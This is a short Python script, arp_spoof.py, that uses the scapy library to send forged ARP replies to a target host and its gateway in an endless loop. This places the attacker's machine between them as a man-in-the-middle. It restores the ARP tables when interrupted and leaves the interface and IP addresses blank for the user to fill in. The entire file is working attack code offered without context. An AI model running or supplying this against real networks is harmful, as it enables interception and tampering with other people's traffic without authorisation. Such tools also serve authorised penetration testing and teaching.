arp_spoof.py

import time
from scapy.all import ARP, send, Ether, srp

def get_mac_addr(ip): 
    arp_request = ARP(pdst = ip) 
    broadcast = Ether(dst ="ff:ff:ff:ff:ff:ff") 
    arp_request_broadcast = broadcast / arp_request 
    answered_list = srp(arp_request_broadcast, timeout = 5, verbose = False)[0] 
    return answered_list[0][1].hwsrc 
  
def restore(destination_ip, source_ip): 
    arp_reply_to_target = ARP(op=2, psrc=gateway_ip, hwsrc=get_mac_addr(gateway_ip), hwdst=get_mac_addr(target_ip), pdst=target_ip)
    arp_reply_to_gateway = ARP(op=2, psrc=target_ip, hwsrc=get_mac_addr(target_ip), hwdst=get_mac_addr(gateway_ip), pdst=gateway_ip)
    for _ in range(4):
        send(arp_reply_to_target, iface=interface, verbose=False)
        send(arp_reply_to_gateway, iface=interface, verbose=False)
        time.sleep(1) 
    print(f"Clean up.")

def spoof_arp(interface, gateway_ip, target_ip):

    arp_reply_to_target = ARP(op=2, psrc=gateway_ip, hwdst=get_mac_addr(target_ip), pdst=target_ip)

    arp_reply_to_gateway = ARP(op=2, psrc=target_ip, hwdst=get_mac_addr(gateway_ip), pdst=gateway_ip)

    while True:
        send(arp_reply_to_target, iface=interface, verbose=False)
        send(arp_reply_to_gateway, iface=interface, verbose=False)
        print(f"Sent ARP replies: {gateway_ip} <-> {target_ip}.")
        time.sleep(2)  

interface = ""  
gateway_ip = ""  
target_ip = ""  
try: 
    spoof_arp(interface, gateway_ip, target_ip)
except KeyboardInterrupt: 
    restore(gateway_ip, target_ip)